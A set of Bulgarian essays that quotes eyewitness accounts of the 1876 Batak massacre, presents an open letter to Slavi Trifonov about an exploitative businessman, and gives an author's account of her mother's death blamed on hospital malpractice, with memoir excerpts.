…Няма случайни неща, драги Читателю! Вчера /23 ноември/ присъствах на представяне на уникална книга – сензация, с чиито научни изследвания и фактология авторът й зачерква с тежък кръст “постиженията” на съвременните български официални историци, но книгата ще бъде тема за следващ разговор с теб. Изненадващото, което бих искала да ти споделя, беше подарената ми втора книга по време на премиерата от непознат ми издател, която се оказа единствената у него в този ден, а честта да я притежавам беше моя! Още по-странното е, че тази невероятна книга представляваше неиздаван досега на български език пътепис на английски автор, пасторски син от Линли хол, графство Шропшър, магистър на хуманитарните науки и бакалавър по гражданско право, депутат в английския парламент, посетил българските земи по време на Априлската епопея – 1876 г. и оставил следи за “най-страшното престъпление, осквернило историята на 19-ти век”!
Ако имаш сили, Читателю, продължи!
“Убиването на старейшината Трендафил било извършено крайно варварски. След като му извадили очите и му изтръгнали зъбите набили го на кол и го опекли жив сред кръг от жени, заставени от башибозуците да останат зрители до неговата смърт!”
“На друг човек отрязали краката, ръцете, носа и ушите.”
“След като изклали всички, които могли да открият по улиците и къщите, башибозуците нападнали църквата и училището, някои от хората в школото били извлечени навън, ограбени и тогава убити на улицата, а други били третирани по същия начин в сградата. След това тя била запалена с живите и мъртвите тела в нея…Почти едновременно с разрушаването и клането в училището били издълбани дупки в стените на църковния двор, през които башибозуците стреляли по намиращите се вътре и убивали всички, които се опитвали да избягат. След като влезли в двора, стреляли тогава през прозорците в църквата и като разкъртили плочите от покрива на сградата, хвърлили горящи парцали, намокрени с газ, върху хората под тях. По-късно разбили вратата на църквата, влезли, първо обрали и после системно умъртвили, без да им мигне окото, повечето от безпомощните жертви в нея. След това запалили църквата, която била само частично опожарена!”
“Всички очевидци са съгласни, че броят не е по-малък от 3000, като някои оценяват жертвите на 4000 души!”
“…башибозуците извадили очите на баща му, отрязали му ръцете и краката и го изкормили, като убили също и учителя!”
“Стефан Трендафилов от Батак, син на Ангел Трендафилов, който бил набит на кол и опечен, казва, че първият намек за приближаващите се премеждия бил опожаряването на околните села.”
“…Вранков и брат му били обезглавени, а неговият баща /срещу когото Ахмед ага бил озлобен, защото успял да причини връщането на някои ливади и гори, оспорвани от едно турско село, на хората от Батак/, след като му извадили зъбите и очите, бил набит на кол и опечен.”
“…Тогава изтичах при реката и видях, че мъжът ми и Петър Трендафилов са убити, като главата на мъжа ми беше почти отделена от тялото. Видях Трендафил, набит на кол, с извадени зъби и очи и горящ огън под него…Долните му крайници бяха изгорени и овъглени. Тялото му беше клюмнало настрана и главата му докосваше земята, ръцете му бяха скръстени, броеницата му беше сложена върху тях, а очите и зъбите му бяха сложени близо до него.Те са били извадени, преди да бъде набит на кола и изгорен…Дадох им всичко, което имах, и след това те ме съблякоха гола. Тогава убиха бебето ми, като му отрязаха главата. Пощурях и им изкрещях: ”Щом убихте мъжа и бебето ми, убийте и мене!” Те рекоха: “Ще те продадем на циганите като робиня!”
“Снахата на Ангел Трендафилов, която била неволна зрителка на престъплението, описва убийството на Трендафил така:
“Моят свекър отиде да посрещне башибозуците, когато селото беше заобиколено и се срещна с Ахмед ага, който каза, че иска да събере оръжието от селяните. Трендафил отиде и го събра. След като то беше предадено, стреляха по него с пищов и куршумът му одраска окото. Тогава чух Ахмед ага да заповядва със собствените си уста Трендафил да бъде набит на кол и опечен. Думите, които използва, бяха “Shishak aor”, което на турски означава да се набие на шиш като парчетата месо, наречени кебап. След това взеха от него всичките му пари, съблякоха му дрехите, извадиха му очите и зъбите и го набиха на кола бавно, докато той излезе през устата му. След това те го опекоха на огъня още жив. Той живя половин час в продължение на ужасната сцена…По времето, когато ставаше това, синът на Ахмед ага взе детето от гърба ми и пред очите ми го насече на парчета със сабята си. Овъглените останки на Трендафил лежаха там един месец и тогава бяха погребани.”
“…Мнозина от отведените жени и моми накрая били убити, след като прекарали доста нощи с башибозуците.”
“Т.Ц. на 20 години, заедно с баща си, майка си и петима братя и сестри бил откаран по баира от башибозуците. Казали им, че нищо няма да стане с тях, ако вървят тихо. Щом стигнали върха на хълма, те били заобиколени от тълпа башибозуци и той видял, че отсичат главите на баща му и майка му. След това сторили същото със сестра му и брат му. Други двама негови братя избягали, но башибозуците ги преследвали и заклали до църквата. Те казали да си наведе главата като другите и той изпълнил нареждането. Получил удар с дълъг нож отзад по врата и паднал в несвяст сред хората, които вече били убити. Останал там, без да се помръдне от болка и страх, в продължение на три дни. В края на това време той си раздвижил главата, едно момиченце го забелязало и като разбрало, че още е жив, го извлякло изпод труповете. Тогава те избягали заедно, но тъй като всички къщи в Батак били изгорени, двамата отишли пеш чак до Пещера – малък град на шест часа разстояние с кон.”
“Трите ми деца бяха при мен, като държах две на ръце и третото беше застанало до мен. Най-малкото ми дете беше застреляно в ръцете ми от една пушка, която се целеше през прозореца и аз го положих мъртво на пода. Много скоро след това второто ми дете беше също застреляно и същият куршум, който го уби, се заби в рамото ми и предизвика раната, която виждате. Паднах в безсъзнание сред труповете и останах така два дена, докато настъпи вторник. Този ден се съживих и дойдох в съзнание…Смятам, че башибозуците накрая се умориха да убиват. Известен брой жени и деца бяха оставени незаклани и бяха изпратени в лагера и турските села. Когато се надигнах, не видях нищо друго около мене, освен трупове и бях принуден да стъпвам по купища мъртви тела и в локви кръв на излизане от църквата и двора и дори след като тръгнах по улицата….Мисля, че около 2000 души, главно мъже, бяха убити в църквата, двора и училището.”
…- Как се живее днес с такива спомени, с такава съдба? – попитах служителка в музея на Батак.
“Ами…живеем някак!…Как иначе?…Цяло едно съседно село е от българи-мохамедани…Примирени сме…Но на моя прадядо убили четирите от пет деца!…”
Българино, склони глава пред Батак! После спри предизборната върволица автобуси от Турция. Те нямат право да решават съдбата ти. И преди да пуснеш бюлетината за “Турция в Европейския съюз”, ако някой изобщо ти я поиска, не се страхувай, действай по съвест! Но първо отскочи до Батак! Прочисти съвестта си!
Изнижи се достойно!
Да живее България! Да живее Доган! "
-
Второто, което ще ви дам е едно трогателно писмо до Славито.
"Писмо до Слави Трифонов
Здравейте, дълбокоуважаеми Слави!
Пише Ви Цецка Бончина. На 25 октомври 2007 г. гледах по БТВ шоуто Ви, в което разговаряхте с Вашия гост г-н Георги Гергов. Диалогът ви провокира у мен дълбоки размисли. Затова се изкушавам и си позволявам да Ви отговоря от моя гледна точка на въпроса “Защо в България думата “богат” е лоша дума?” /Но с предварителната уговорка, че аз споделям философията и копнея да живея в една просперираща държава с още по-проспериращо население./ С начина, по който ще се опитам да сторя това, рискувам да бъда обвинена в прекалена обстоятелственост, както и в злоупотреба с времето Ви, но нали животът е извел мъдростта, че понякога “дребните камъчета преобръщат каручката ни”. Разчитам на Вашата ерудираност, аналитичен ум и добър житейски опит и се надявам да разберете и оцените добре моята теза. Уверявам Ви, че споделеното не е “частен случай”, а порочна практика в “европейска” България, за която управляващите угоднически дори за самите себе си си затварят очите и нямат политическа воля да я зачеркнат завинаги. Имах дори намерение да споделя с д-р Константин Тренчев скромното си мнение откъде управляващите биха могли да вземат пари, за да се разплатят със стачкуващите учители, освен от тримилиардния /престъпен/!/ бюджетен излишък и намаляване на държавната администрация. Но предпочетох да го споделя с Вас, за да аргументирам моя отговор.
Познавам добре един богат българин. Той е нискокултурен, нискообразован и невъзпитан човек. Чужд на ценностната система, която споделят болшинството нормални, обикновени българи. Този господин няма един ден “прослужено време” преди “промяната” на 10 ноември 1989 г. Дори се гордее с факта, че “никога не е работил в държавно предприятие”. А вече гони половин столетие. Като младеж е наобикалял своя баща, който частно се е занимавал с ковано желязо…
“Демокрацията” отприщва апетитите на този зажаднял за пари, за много пари, българин и той започва своя “проспериращ” бизнес там, където е най-лесно – в търговията. С взети в заем пари от приятели и роднини /които по-късно връща разсрочено/, той започва своя свръхегоистичен поход към богатството. Без много усилия и труд. Стъкмява един магазин, но не понася да дели пари със съдружници. Затова го напуска с ловък трик, като ги удостоява те да изплащат задълженията му към държавата. Стъкмява втора фирма и втори магазин, който успява да популяризира като един от “най-реномираните”, но и от най-скъпите. /Несъстоятелността на първото ще отстоявам в бъдеще./
Как забогатява този “бизнесмен”?
Наема няколко обикновени жени, които нямат друга възможност да изкарват прехраната си и да помагат на семействата си, тъй като са обикновени българки с повече от нисък социален статус и нисък образователен ценз. Едната назначава официално като “счетоводител”. Тя е 41-годишна госпожица с трудно детство, от баща с три брака, с болна майка, безработна сестра и двама племенника, със зет – постоянно скитащ по света нигериец с неустановена професия. Госпожицата ще остане “най-довереният” му човек в магазина. Предлага й добра заплата, но я задължава да поема всички функции в търговския обект – управител, продавач, понякога и хигиенист. Няма почивен ден, няма полагащ се по закон платен годишен отпуск, осигурява я на 240 лева работна заплата, не може да разчита на болнични и няма право да се разболява. Но тя е по-ценна за бизнесмена с друго – извършва наивно и без да си дава сметка за това, фалшифициране на документи и на предлаганата на потребителя стока. И му спестява стотици хиляди лева данъци към държавата. Тероризира я по всички параграфи, а се оплаква, че неговата “управителка” е лишена от всякакво самочувствие на управител.
Горката жена е подложена на това унизително изпитание поради липса на по-добра професия, на образованост, на грамотност, на достойнство и не на последно място поради известни проблеми в общуването. На бизнесмена му е нужен точно такъв “пазач” и слуга в магазина. И довереник, с чиято безмълвна подкрепа и съглашателство спокойно и безпрепятствено да лъже и мами държавата по отношение на обороти и обем работа.
И успява дълго време да лъже тази сляпа, или умишлено сляпа държава, която от такива капиталисти губи милиони лева данъци за бюджета си. /Но подобни факти в ущърб и на стачкуващите учители, и на целия народ или им убягват, или няма кой да им разясни!/…И госпожицата пази и слугува, готова да се отзове по всяко време.
Остават още четири жени, другата важна брънка, енергично реализиращи бизнеса на новобогаташа – продавачките. За “финес” наричани “продавач-консултанти”! Жените, през чиито ръце, бързина, отзивчивост, излъчване, интелигентност, дружелюбност, ведрост, контактност, минават левче след левче милионите на господин бизнесмена.
На какво са подложени те?
Назначени са на четиричасов работен ден, което автоматически ги лишава от подобаващите нормални осигуровки и от трудов стаж едно към едно /година труд, година трудов стаж/. Но едно е сигурно – десет години работа за пет години трудов стаж! Години наред не им позволява да ползват полагащия им се по трудов кодекс платен годишен отпуск – доработват помежду си няколко дни, в които все пак да починат през годината. Не им изплаща болнични листове – когато някоя се разболее, заплаща на колежката си, за да й поеме смяната. Нямат право на официална почивка през време на десетчасовия си работен ден – хапват в промеждутъците на подтичванията в обслужване на клиентите си. Нямат право на хигиенична атмосфера, нямат право да се докосват до радиото, до климатика, да пипат вратата, нямат право да изказват мнения, становища, да дават съвети, предложения по какъвто и да е служебен въпрос. Имат едно единствено право – да бъдат мъртви души и движещи се пионки на бизнесмена. Пренебрегвани, обиждани, недооценявани, ощетявани – в името на богаташа. Но за жалост и в името на насъщния си. Напук на закон и морал…
Уважаеми Слави, сигурно Ви звучи откачено, невероятно тенденциозно! За нещастие, това е факт. За да имам време да пиша книгите си, бях част от този екип и този психоклимат. Давах и личния си принос за забогатяването на този българин. Работих 6 години, за 3 години трудов стаж. Разбира се, всеки има своя избор. Но нека това да не остане превантивното оправдание за десетилетия напред. Ще попитате: -тогава защо го правихте? Аз все пак имах избор, но колежките ми – не! Защото ги чакаше глад и мизерия, и безработица, и още по-големи унижения. Дълбоко тук прозират и условията за здравината и стабилността както на българското семейство, така и на българското общество, но това е друга тема.
Ето тази “представителна извадка“ от съсловието на богаташите в България, уважаеми Слави, е причината обикновени хора като мен /а те са болшинството в държавата ни/ да изпитват, меко казано “недоверие” към тях, още повече имайки за пример технологията на забогатяване на този субект – подреждайки от време на време сергийките си със скъпотийки както на гърба на няколко жени, грубо, безнаказано и цинично експлоатирайки ги, така и на гърба на държавата, укривайки огромни данъци и окопал се в снагата на сивата икономика, стопиращ механизмите за нормално функциониране на институциите в тази държава, реализиращи събираемостта на постъпленията в държавния бюджет.
А лично аз се отвращавам от този богат, но неуспял човек. Нали, ако перифразирам думите на Вашия гост, “успял” е този, който е в състояние да осигури около себе си уют и човещина. А горесподеленото е “човещината”, която бълваше съществото на нашия човек. Лично мен ме квалифицираше като “руса муха”, “аристократка, родена на село”, “некадърна комунистка”, “луда”, “ненормална”, …”като те започна, ще изтръпнеш”, “ще те пратя, където ти е мястото”, “тебе и съд няма да те оправи” /за съда богаташът позна – прекратиха съдебното разследване срещу него след една година усилен труд на млада, ентусиазирана и амбициозна полицайка!/ И познайте от първи път защо!
/Уважаемия Читател ще запозная впоследствие с абсурди и цинизми в съдебната ни система, ако все още не е наясно с тях./
Колежките ми бяха мъртви души, вербално “общуване” с шефа си позволявах единствено аз, за да го подсещам за законите, за правата ни, в крайна сметка и за морала и достойнството ни. Богаташът дори си позволяваше с императивен тон да ми дава “съвети” за какво имам право /!/ да пиша и за какво – не!
Това е жестоката ни реалност, другата реалност, която нито г-н Гергов, нито себеподобните му подозират, че съществува. А може би това е твърде наивно! Може би и персони от неговия ранг печелят по подобен начин богатството си! По-важно е държавата да има желание и воля да функционира нормално, по законите, които самата тя ни налага и да не съглашателства със закононарушители, престъпници и всякакви други вредни за нея и за честните люде субекти.
Апелирам към богатите да отворят душите и сърцата си, най-вече ръцете си и да помагат поне на нещастните деца в тази държава!
Бъдете здрав! Приемете почитанията ми!
“Светът се крепи на три неща –
на милосърдието на богатите,
на перото на мъдрите и на
молитвата на праведните!”
Монах от Черногорски манастир
"
-
Продължавам с нещата тук.
"“VENEFICIUM BULGARICUS” – “УМЪРТВЯВАНЕ ПО БЪЛГАРСКИ”
Привет, почитаеми Читателю! Бъди здрав!
За да не попаднеш на операционната маса в някоя от престижните ни болници и начаса да бъдеш умъртвен, само за да източат скорострелно поредната доза пари от клиничната пътека!
Преди година и половина злодей умъртви собствената ми майка. Беше болна, но не й дадоха възможност да изстрада болестта си – изпратиха я с устрем в отвъдното. За да оцелея и психически, и физически, трябваше задължително да преживея повторно смъртта й върху белите листи – единствената възможна и изпробвана терапия за лекуване и прочистване на следи от трагедии.
Твърдо бях решила да връча на безценните ни народни избраници в 41-я Парламент съвременната българска технология за печелене на пари чрез умъртвяване. Стъкмих няколко пакета от книгата за всички парламентарни групи и се отправих към Парламента. Във връзка с друга моя книга бях посещавала “светинята” няколко пъти и бях запозната с правилата за “посетители”. Но това се случи в мандата на 40-то Народно събрание. В новия Парламент имаше други правила – дисциплината беше затегната здраво и простосмъртни като мен трудно можеха да влязат, освен с протекции. С невежеството си съвършено погрешно бях решила, че е по-лесно да подариш, отколкото да ти подарят. Уви! Оказа се, че без протекции на народен представител дори книга не можеш да подариш. Висях до гишето на пощенската служба на парламента близо два часа, докато се извърши задължителната процедура – да се докладва на Председателя на Народното събрание, че някаква авторка желае да подари книги на колегите й и самата нея, да се предостави въпросната книга лично на нейно височество, за да прецени /категорично според собствените й критерии за качествата на една книга/ дали наистина си заслужава подаръка, /да не е евентуално компрометиращ народните представители документ!/ Госпожа Председател уж видяла книгата и наредила да бъде “подарена” персонално на всеки народен представител.
Каква по-хубава вест от тази! От няколкото хиляди екземпляра на мои книги бях предложила на книжна борса само десетина, ужасена от очевадното безскрупулно печалбарство от чужда интелектуална собственост за сметка на притежателя й, което беше негласно толерирано от непукизма на държавата. /Хеликон присвояваха цели 45% от стойността на една литературна /художествена или не /творба! Всичко останало бях подарила на приятели, близки, почитатели. С удоволствие щях да изпълня желанието на г-жа Цачева. Върнах обратно пакетите у дома и приготвих 240 броя, като изричното изискване беше всяка книга да бъде в отделен плик, адресиран до съответния народен представител. Аз съм дисциплиниран човек и изпълних всичко. Похарчих стойността на половин българска пенсия за пликове, стоварих в преддверието на 41-во Народно събрание четири огромни кашона с технологията за умъртвяване по български, но не бях съобразила и преценила, че книгата за г-жа Цецка Цачева трябва специално да бъде връчена на служителка от Пощенската служба, което щеше да предизвика проблем. Нейсе! След предостатъчно висене се яви госпожа, която “позволи” книгата да бъде приета!
В писмо до бившия Председател на Комисия по здравеопазване в Народното събрание, когото бях поканила на представянето на книгата в Столична библиотека, /която, разбира се, не беше уважена, те не ходят по подобни “мероприятия”/, анонсирах темата й – изродена човешка съвест, антихуманен медицински експеримент или лекарска грешка! Всеки здравомислещ българин трябва да преценява сам за себе си. Участват субекти от на-низш ранг до най-висшето стъпало в болничната йерархия – от санитар, през старша сестра и сестра, до професор и началник на отделение. Като автор бих била удовлетворена, ако представените факти и документи, илюстриращи както неефективността на провинциална болница, така и уличаващи отговорни субекти-лекари в източване на държавни и наши пари чрез светкавично консумиране на клинични пътеки с изфабрикуване на диагнози, атрактивни епикризи и мними хоспитализации в едно от най-големите ни здравни столични заведения, внесат своя, макар и скромен принос в ликвидиране на евентуални съмнения и нерешителност на нашите държавници относно необходимостта от спешна реформа и преструктуриране на болничната помощ в България. Поканих тях, господата управляващи, в кухнята на престъпленията, но те не желаеха и не се осмелиха да влязат в нея. Пък и струва ли си? Безметежни четири години, още четири и няколко поколения са осигурени! А фишеците с грижи за здравеопазването в България са здравословни за един едва ли не гарантиран продължителен престой в бялата сграда.
Родена и израснала в северозападния край на България, отправих любезна покана за премиерата на “Veneficium Bulgaricus – Сага за Виктория” и до народния представител от област Монтана г-н Янаки Стоилов, опонентът на бившия премиер, господинът, който никога преди предизборната кампания за 41-во Народно събрание вероятно не беше нито чувал, нито идвал в родното ми село Гаганица. Но се наложи да притвори очи и да дойде – само веднъж и по време на избори. Повече кракът му не стъпи, до момента. Догодина, преди изборите, със сигурност отново ще ни окаже високата чест. Важно е да си на трибуната, пред камерите, в няколко комисии, председател, зам.председател и т. н. и т. н. А провинцията и болните – по дяволите!
Нямам информация някой от високопоставените господа да е реагирал по някакъв начин на изнесените факти и данни за извършено престъпление. Това не е и тяхно задължение.
Обсъждахме глави от книгата с моя позната, бивш съдия, понастоящем адвокат. Изумих се още повече след изявлението й, че брат й, професор по медицина и преподавател в престижен медицински университет споделил, че негови колеги-лекари “оперирали дори здрави хора”, отново в името на парите. Изхождайки от собствените си преживелици, нямам основания да не вярвам на подобно, макар главозамайващо твърдение. Дочух го и в други среди. И отново се питам – има ли държава, има ли прокуратура, има ли съд? От моя гледна точка – няма. Впоследствие ще се опитам да се аргументирам в твърдението си, защото имах нещастието да се сблъскам лице в лице и с тази институция – и наскоро, и преди години. Получих и обаждания от мои приятели и почитатели, които дори предложиха да “учредим някаква фондация” на пострадалите от лекарска “помощ”.
Беден и безпомощен български народ! Наистина трябва сам да се спасява или да разчита на божествени и свръхестествени сили, за да оцелее!Но не и на държавата си!
Книгата посветих на майка ми Виктория и на обремененото със съдбовност нейно поколение – последните мъдреци и крепители на моралните ни устои в началото на третото хилядолетие. Това е моята задочна пледоария към един отсъстващ съд. Пледирам не за спасение на мъртвите, а за безпристрастност към екзекуторите им. Пледирам за милост към живите! Нека не допускаме да бъде изкоренена из основи хуманността! Ако това се случи, нашето физическо оцеляване ще бъде обречено, а духът ни ще витае в бездушното пространство между живота и смъртта.
Тази книга ще бъде анатемосана от всеки, гарантирал публичност на фалшивото си “Аз”. Няма да се хареса на промитите мозъци, повярвали във възможното изкореняване на човешките пороци или поне онези, които ни убиват. Няма да се хареса на онези, не изпитали личната трагедия да притворят мъртвите очи на родната си майка, оказала се жертва на порочността на една система, в която вегетираме, обезнадеждени както за настоящето, така и за близкото си бъдеще. Изводите и становищата в книгата са на абсолютен лаик и не биха удовлетворили специалистите-медици, но те са и изповед на човек, сблъскал се лице в лице с най-тежките последствия от упражняване – съвестно или не, хуманно или не, професионално или не, на най-хуманната по своята същност професия – тази на лекаря. Книгата е преди всичко за вас, беззащитни! За да се вгледате зорко наоколо в опит за самозащита, защото няма кой друг да ви спаси! Позволявам си да поднеса извинения към всички приятели, добросъвестни медици и почтени личности, както и на всички останали, за които чувството за дълг и отговорност е основополагащо в професията им, а Хипократовата клетва не е просто символичен ритуал, а клетва за човечност. Въпреки всички изживени трагедии боготворях и и продължавам да се възхищавам на магическите ръце и фантастични умове на хирурзи като тези, спасили живота на сина ми и моя собствен живот без грам корист и сребролюбие, което автоматически ги разграничава от личностите, гонещи безпардонно слава и материално благополучие с цената на човешки животи.
С тази книга поднасям почитта и преклонението си към вече пребродилите живота си българи заради смелостта, издръжливостта и жилавостта да го сторят. Поднасям и извиненията си към почитаемия Читател за липсата на какъвто и да е евфемистичен израз, който няма място в изложената проблематика.
Почитаеми Читателю, за разнообразие оттук насетне ще ти предлагам поносимо, под формата на приложение, части от “Veneficium Bulgaricus – Сага за Виктория”.
Ако се интересуваш, предлагам ти най-напред съдържанието на книгата:
Глава първа: Кървяща памет
Глава втора: “И ние не знаем какво да правим!”
Глава Трета: “И аз не зная каква е причината!”
Глава Четвърта: Как се източват пари от държавата? Пари и слава на всяка цена!
Глава Пета: “Защо не намерите по-добро място за майка си?”
Глава Шеста: “Днес медицината се старае само да осигурява пари, но не и да се грижи за болните!”
Глава Седма: “Явно те са взели майка Ви за опитно зайче!”
Глава Осма: “О…ние с такива неща не се занимаваме!”
ПРИЛОЖЕНИЕ
Из “Veneficium Bulgaricus – Сага за Виктория”
Вместо Предговор
Няма наука за майчинството. Никой не ни подготвя, за да създадем, отгледаме и възпитаме децата си. “Резултатът” е обусловен от собствените ни природни инстинкти и от влиянието на обществената и всякаква друга среда, в която сме имали щастието или нещастието да се родим и живеем…
Посрещаме сблъсъци и преодоляваме несгоди, за което също никой не ни подготвя и учи, но отново природата върви съучастнически по дирите ни и нашепва на свой език съветите си, разбираеми единствено за перфектната или слаба наша интуиция.
Никой не ни учи как да посрещаме или преодоляваме смъртта. Но тя ни връхлита, потапя ни в черния си свят и в крайна сметка изплуваме оттам може би по-мъдри, по-зрели, но трайно наранени и не по-готови да продължим живота си. Никой не ме беше учил, нито предупреждавал, че няма философия, която да спаси изчезващото чувство за самосъхранение, когато смъртта покоси тази, която ти дава живот – твоята собствена майка. Трябваше да изживея втори път тази злочеста смърт, оставена щедро на страниците на една книга, за да мога да продължа живота си. Всяка от тях е напоена със сълзите и собственото ми страдание. Сагата за пътуването на майка ми към вечността е и моя собствена сага, която едва ли ме направи по-твърда и по-силна, но не по-уюзвима. И със сигурност разпадна навръзваната с блудкави дрипи вечна илюзия, че раждането и животът са святост и дар, мисия и материализирано чудо.
Нямаше да продължи да пътува в мир и моята душа, ако не дръзнех да се отдам на необходимостта от собственото си измъкване от капани, залагани десетилетия, пропити с разрушителна зараза от човешка слепота, угодничество, егоизъм, убийствен материализъм и липса на основополагащото човешко чувство – хуманността.
“VENEFICIUM BULGARICUS” е сага за моята майка, но и сага за моето време и моето поколение.
Спокоен път, Читателю, из дебрите на смъртта!
ГЛАВА ПЪРВА
КЪРВЯЩА ПАМЕТ
“Там, където е съкровището ти,
там ще бъде и сърцето ти!”
Св. Матей
Помня късче от биографията на мама, звучащо като притча, като сън:
В знойно лято, по жътва, тя ме носила – третата, най-малката, в люлка на гърба си до житните поля.
“Беше хубаво бебе – казваше мама, – като розова ябълка!” Закачвала люлката на близко дърво, докато жъне – обляна с пот от жаркото слънче, от грубия сърп, от уплаха да не ми се случи нещо лошо.
– Вите…Вите…прибери това дете от дървото! – викала уплашена жетварка, отишла до сянката да отпие глътка животворна вода. – Ей там пролази змия…!
Това е моят първи, по детски неосъзнат, но най-свиден спомен за святата ми майка. Звучи толкова далечно, нереално, като епизод от фантастичен филм. Разказваше го моя близка и с носталгия се връщаше към младостта си.
Изминали са повече от пет десетилетия от онова тежко, но щастливо лято. Витае в спомените и съкрушителна, люта зима. Главната героиня в тази бяла приказка подвиква уморено след тежката волска кола, дотътрила се из дълбоките преспи сякаш чак от хоризонта. Мама влачи изтощено тяло, мокра до кръста, едва крета с подгизнали крака и няма повече сили. Татко ми смъква от изтръпналите си плещи заскрежената си дреха, накъсва я на парцали и увива като новородено краката на мама…И вървят…и се губят думите им…сами сред горската тишина на зимния мраз, обсебени от любов, грижи и мечти…Очакват ги децата и животът…
Днес селските герои ги няма. Изсечена е гората, вероятно го няма и онова самотно дърво, разстволило сянка над детската ми люлка. Отдавна не съм поемала пречистващата сила на онези поля и гори, където завинаги ще витае духът на мама и татко. Там друго нищо не остана – само тежки спомени, тревясали пътеки и…паметни плочи!
* * *
Беше пет часа по ранина, в края на април – тъмно и студено. Пътувахме към майка ми, горе към върха, по-черен от мрака, надвиснал като страшилище. А всъщност толкова тих и спокоен – домът на нашите мъртъвци, останал във вечно съприкосновение със залезите и дългите, бледнеещи пухчета на отлитащи самолети. Бяхме само трите нейни дъщери и…една приятелка, станала в полунощ, за да я посети на “Третини”. И да й издекламира стих, затрогващ и невинен, по своему преживян, наслоил тъга върху собствената й самота и непосилен живот на село.
И лумна огън от недогорели свещи, опасали в кръг пресния гроб, потънал в цветя. Мистичен огън, изгарящ сърцето, сякаш преминал през нашата кръв, проникващ в застиналата кръв на покойната ни майка. Хукнаха светлинки към близките гробове, пресичани от студени, влажни стрелички. Сякаш стъкмявахме магия, светотатство, за да си я върнем отново при нас…
В селото ни срещна ранобуден старик – от малкото истински българи. Посрещна ни със своя си ритуал в знак на почит към покойната ни майка – свали отдалеч, почтително, шапка, приведен се прекръсти и взе сладкиш за “Бог да прости!” В този миг видях, почувствах и съпреживях най-дълбоката човещина, която като по чудо беше оцеляла след поредното “цивилизоване” на нацията ни. Тук, в изчезващото село, с дъх на тор и трева, лазеща вече и по селските улици, само тук беше оцеляла най-истинската, вечната, спасителна цивилизация, на която се крепи всеки оцеляващ дух и онази тежка думичка – морал. Но старецът никога не беше изричал тази думичка, не познаваше подобна “категория”. Той самият Беше тази думичка, той я носеше дълбоко в себе си…И сигурно затова ще му бъде по-лек и спокоен пътят нагоре – към върха и самолетните пухчета…Друга “цивилизация” не съществуваше. Но дори и да я назовавахме така, то тя убиваше, оплюваше с мерзост, погубваше. Нейният път беше постлан не с цветя и треви, не с мирис на тор и сено, а с дъх на убити спомени, вонящ на пари.
* * *
Този жалостив, безмилостен кукувичи зов! През онази тежка пролет ме следваше неотлъчно по пътя ми нагоре – към върха на мъртъвците и нашата неосъзнато жадувана вечност. Идваше още от детството, може би от житните поля на мама. Оцелял някъде дълбоко и в люлчината песен на дървото, и в августовския зной на едно далечно лято, съхранило и радостта, и мъката, и тревогите на мама. Две кукувици съпровождаха “срещите” ми с нея и оставаха при нас, сякаш да съживят отново и отново забравени спомени. Но още по-силно разяждаха раните – мама обичаше птичите песни в градината, топлия повей на южняка в провисналите над терасата и напиращи към вратата на селския ни дом клони на стария бор – любимец и на татко, металните удари на кълвача в мъртвия пречупен ствол на старото дърво.
Месеци наред страдах, че мама не чува тези песни, че не вижда вече нито огнените лалета, нито млечните багри на ябълковия цвят. Докато осъзная, че този не беше вече нейният дом. И престанах да жалея по птиците и цветята в него. Сега тя имаше свои птици – две кукувици, чийто дом горе на върха беше и неин. Имаше и свои цветя – които посадихме и й дарявахме с обич всеки ден.
Но бедната добродушна и тиха Сара осиротя и замлъкна. Остана сама у дома и мама й липсваше не по-малко, отколкото на нас. Може би се надяваше един ден да я види отново, мама отново да я нахрани, да я погали. За самотата й страдахме заедно с нея, но не искахме да я изоставим и да се разделим и с вярното, предано куче, единственото живо същество, което остана в родния ни дом, за да ни напомня за мама…
…Дойде есента и настървено трупаше листи и окапал плод. Смъртта властваше неотстъпно под родната стряха и искаше да заличи всяко кътче, където бе стъпвала мама. Всеки ден, с безчувствени ръце и кървящо сърце ровех студената, влажна земя, за да изтръгна и погубя тази забрава, да съживя и запазя пътеката, по която с преливаща радост се връщах в късни вечери у дома, а мама все седеше насреща под бора, подпряла в очакване кротко глава, тъжна и умишлена. Беше щастлива с нас, но татко й липсваше. Дълги години все й липсваше. Споделяше го рядко, но ние го чувствахме, знаехме, виждахме…И може би сега в отвъдното отново е щастлива с него…!
* * *
Невъзможно беше да потискам мъката си, застанала на един истински, селски, вечен кръстопът, превърнал се в символ на моя собствен, кошмарен кръстопът в оставащия ми живот. Спряхме церемониално на него и когато изпращахме мама. Тук стъпките ти се забавят, душата излита, оплетена в объркващите три посоки.
Едната беше съдбоносната, най-магнетичната, най-сигурната – по изровения стръмен път нагоре към върха, пренесла вече опустяващото мое родно селце в задгробния живот. Достигнат ли ти сили да го изкачиш, горе, потънал в сълзи, спомени, сред кукувичи зов, сред опияняващ дъх на ливади и треви, останал сам сред царството на небитието, зовеш свободата си. Онази велика, единствена и най-истинска свобода, извоювали с цената на един трудно преборван живот заселниците в този вечен и неостаряващ храм на смъртта. Единствено тук и приживе те докосва пречистващата сила на тази свобода.
Втората посока води към пустеещия роден дом. Назад към детството, към изворите на надежди, на любопитство към света и живота, към една устремена и неопорочена младост, към вярност и себеотдаване, към почит и любов. Тази остана най-вярната посока. И най-достойният ти път. Но там днес те очаква единствено самота и забрава.
Животът ме принуди да поемам отново и отново последната посока, моя нежадуван и неочакван избор. Тя те тласка с необуздана сила към бездната на кипящи и пагубни страсти, болни амбиции, неудовлетворени желания. Тя ти гарантира новия, “цивилизационен” избор, орисва те да бъдеш “сам сред вълци”, внушава ти величието на славата, но ти гарантира тихомълком сигурността на “поединичното” спасение, когато попаднеш в тази всеобемаща и всеобсебваща цивилизация, решаща корени, потъпкваща традиции, отнемаща вековните устои под нозете ти, изсмуквайки и осакатявайки духа ти. И накрая – превръщайки те в купчинка човешка отломка.
* * *
Коледарчето разцъфтя. Любимо цвете на мама. Пренесох го от родния ми селски дом в софийското жилище, за да продължа живота му и след смъртта й. Въобразявах си, че ще понасям по-леко мъката си, като се грижа за тези прекрасни, розови, ефирни цветове. Всяка сутрин обръщах поглед към крехките му листа и всяка вечер тръпнех с надежда – живее ли все още, има ли напъпили стъбълца, кога ли ще покаже необикновения си чар. Наслаждавах се на приказните му цветчета и се мъчех да си представя онези бледосини цветчета по сватбената рокля на мама, опасали младото й тяло, пърхащо влюбено и щастливо едва на осемнадесет години.
